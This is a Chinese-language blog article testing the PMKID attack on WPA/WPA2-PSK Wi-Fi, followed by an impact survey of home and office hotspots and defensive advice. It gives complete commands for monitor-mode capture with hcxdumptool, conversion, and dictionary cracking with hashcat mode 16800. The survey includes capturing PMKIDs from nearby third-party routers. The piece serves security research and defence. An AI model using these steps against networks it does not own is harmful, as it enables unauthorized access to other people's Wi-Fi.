利用PMKID破解PSK的實際測試與影響評估


在2018年8月4日,一位研究員在hashcat論壇中發布了一篇帖子,表示他研究WPA3協議密碼破解方法的過程中,發現了一個針對WPA/WPA2協議密碼破解的新方法,使用PMKID(the Pairwise Master Key Identifier ,成對主密鑰標識符)來破解無線密碼。  

在之前的方法中,攻擊者需要捕獲用戶連接路由器時的完整握手包。而新的方法可以在沒有客戶端的情況下,向AP發送請求來獲取PMKID以用於破解。  
在作者的文章中表示該攻擊適用於所有支持並開啟漫游功能(Roaming)的無線網絡,但他也並不清楚會對多少路由器有效。那么實際的影響范圍到底如何呢,於是有了本文。

1. 准備測試環境

筆者使用了最新的Kali Linux發行版,支持Monitor模式的TP-LINK TL-WN722N(芯片組Atheros AR9271)。進行該實驗還需要安裝:

hcxtools v4.2.0或更高版本

  1. apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev
  2. git clone https://github.com/ZerBea/hcxtools
  3. cd hcxtools
  4. make
  5. make install

hcxdumptool v4.2.0或更高版本

  1. git clone https://github.com/ZerBea/hcxdumptool
  2. cd hcxdumptool
  3. make
  4. make install

hashcat v4.2.0或更高版本
撰寫本書時,kali倉庫中的hashcat版本為4.1,同樣需要手動安裝更高版本的hashcat。

  1. wget https://hashcat.net/files/hashcat-4.2.1.7z
  2. 7z x hashcat-4.2.1.7z

2. 實際測試

使用hcxdumptool捕獲PMKID

  1. ifconfig wlan0 down
  2. iwconfig wlan0 mode monitor
  3. iwconfig wlan0 up
  4. hcxdumptool -o test.pcapng -i wlan0 --enable_status=1

image.png

當有如下顯示時,表明獲取到PMKID

  1. [13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]

原作者建議最多運行hcxdumptool10分鍾就可以獲取到周邊所有能獲取的PMKID了。

使用hcxpcaptool將pcapng格式轉換為hashcat可使用的格式

  1. hcxpcaptool -z test.16800 test.pcapng

執行后的效果如下圖,在底部會顯示捕獲到的PMKID數量。

image.png

打開我們生成的16800格式的文件,如下圖所示的格式,每一行由星號分成4塊,分別是:PMKID、AP的MAC地址、客戶端的MAC地址、ESSID。

image.png

使用hashcat進行爆破:

 

  1. cd hashcat-4.2.1
  2. ./hashcat64.bin -m 16800 test.16800 -a 0 -w 3 pass.dict
  3. -a 0 指定字典破解模式
  4. pass.dict為字典文件

image.png

一旦有破解成功將有類似顯示:

  1. 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a:hashcat!

除了16800外,作者還表示支持預先計算散列表的方式168001。  
暴力破解的工作原理是猜測明文值對其進行加密,然后將加密后的值與捕獲到的密碼散列值進行比較。如果比較失敗說明猜測錯誤,再換下一個猜測反復進行上述過程。可以看到大部分的耗時都花在了對猜測的加密上。  
預先計算散列表是由猜測加密后的密文組成的。有了預先計算的散列表,破解工具只需讀取預先計算的散列表然后與密碼散列值進行比較,這極大地提高了破解效率。相應的缺點是散列文件可能會非常大。在WPA-PSK的例子中,散列不僅包含了預共享密鑰,還包含了SSID,這意味着即使兩個無線網絡密鑰相同,但因為SSID不同就會導致散列不同。所以對於WPA-PSK,我們需要提前針對指定的SSID生成預先散列。  
比如在 http://rainbowtables.shmoo.com/ 上可以找到一個由最常見的1000個 SSID和 100萬密碼制作而成的,40G大小的預先計算散列表。

3.影響評估

PMKID主要用於多個AP間的快速漫游,主要被使用在企業級無線網絡環境中(WPA-Enterprise),但實際上這種攻擊方式對於802.1X認證類型的熱點是無效的,因為PMK值是在連接的時候針對每個客戶端動態生成。而在WPA-PSK所廣泛使用的家庭、小型辦公網絡中,PMKID往往是沒有意義的,因為大多數環境只有一台AP。這也意味着大部分家用級路由器很可能並不支持漫游功能。

為了測試較為真實的影響范圍,於是我在家庭和辦公兩個常見的環境進行了測試。測試思路如下:

1.使用wifite等工具,掃描周邊存在熱點5分鍾,記錄總量。

2.使用hcxdumptool抓獲嘗試PMKID值10分鍾。

3.整理分析受影響熱點的分布情況及特征,得出結論。

3.1 家庭環境

普通的小區住房,每家基本都會有路由器。5分鍾捕獲到108個熱點,如下圖:

image.png

hcxdumptool工具運行10分鍾捕獲只捕獲到2條PMKID,一台為我自己的斐訊K2P,一台為華為B315 4G路由器。

可以看到,在該家庭環境中,受影響比例不到2%。

3.2 辦公環境

在辦公環境中,熱點雖然也有很多,但分布在不同的樓層,在我網卡的接收范圍內5分鍾捕獲到74個熱點。  

image.png

hcxdumptool工具運行10分鍾捕獲捕獲到4條PMKID,排除掉其中2個802.1X認證的熱點,剩余的一個為Tenda AC18 1900M,另一台是來自AskeyCom的路由器。在該辦公環境中,受影響比例不到3%。

通過在這兩個不算嚴密的實驗中能發現,受該攻擊影響的都來自於支持802.11AC等的中高端路由器(大概400以上)。

3.3 測試結論

最后,對於利用PMKID破解PSK的新攻擊方式,我做出如下總結:

1.該攻擊方式並沒有明顯降低攻擊WPA/WPA2網絡的難度,依然需要字典式進行暴力破解,只是允許在無客戶端情況下進行。

2.該攻擊只對WPA-PSK/WPA2-PSK有效,對企業級802.1X認證熱點(WPA-Enterprise)無效。

3.大部分低端家用級路由器由於不支持漫游特性,對該攻擊免疫;少部分中高端路由器(往往支持802.11AC)可能受影響,用不上就關掉吧(如果可以的話)。

4.對於用戶:依然是提高無線密碼復雜度,警惕熱點密碼分享APP。

5.對於路由器廠商:對WPA-PSK考慮是否有支持漫游特性的必要,或者增加開關。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM